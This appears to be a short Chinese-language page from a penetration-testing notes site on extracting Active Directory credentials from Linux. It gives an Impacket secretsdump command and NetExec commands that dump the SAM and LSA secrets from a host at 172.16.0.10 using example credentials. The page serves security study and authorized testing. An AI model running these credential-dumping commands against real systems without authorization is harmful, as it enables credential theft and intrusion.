> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/credentials/extraction-from-linux.md).

# 从 Linux 提取

针对从 Linux 提取的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。

### 使用 Impacket

如果你拥有具备必要权限的有效凭据，可以使用：

```bash
secretsdump.py user1:Password@172.16.0.10
```

此命令会尝试提取远程机器上可访问的机密信息。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c1f6381bc1705eb0fdc8aae1a28c0b784d58c48%2Fimage%20(3303).png?alt=media" alt=""><figcaption></figcaption></figure>

### 使用 NetExec / CrackMapExec

根据所使用的工具，该命令可通过以下方式执行： `nxc`.

SAM 提取：

```bash
nxc smb 172.16.0.10 -u user1 -p 'Password' --sam
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1451e8f16bc92b97579ead63c0b8e46998a7a4e9%2Fimage%20(3304).png?alt=media" alt=""><figcaption></figcaption></figure>

LSA 提取：

```bash
nxc smb 172.16.0.10 -u user1 -p 'Password' --lsa
```

这些命令需要在目标机器上具备适当权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7f2176ecfefd58d1bcfa4ecd40ee36441915ced%2Fimage%20(3305).png?alt=media" alt=""><figcaption></figcaption></figure>


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